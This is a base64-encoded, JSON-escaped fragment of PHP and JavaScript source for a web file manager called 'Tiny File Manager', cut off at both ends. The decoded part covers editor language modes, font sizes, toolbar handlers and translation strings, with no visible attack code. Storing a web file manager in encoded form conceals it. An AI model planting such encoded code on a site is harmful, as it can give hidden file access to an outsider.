ICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9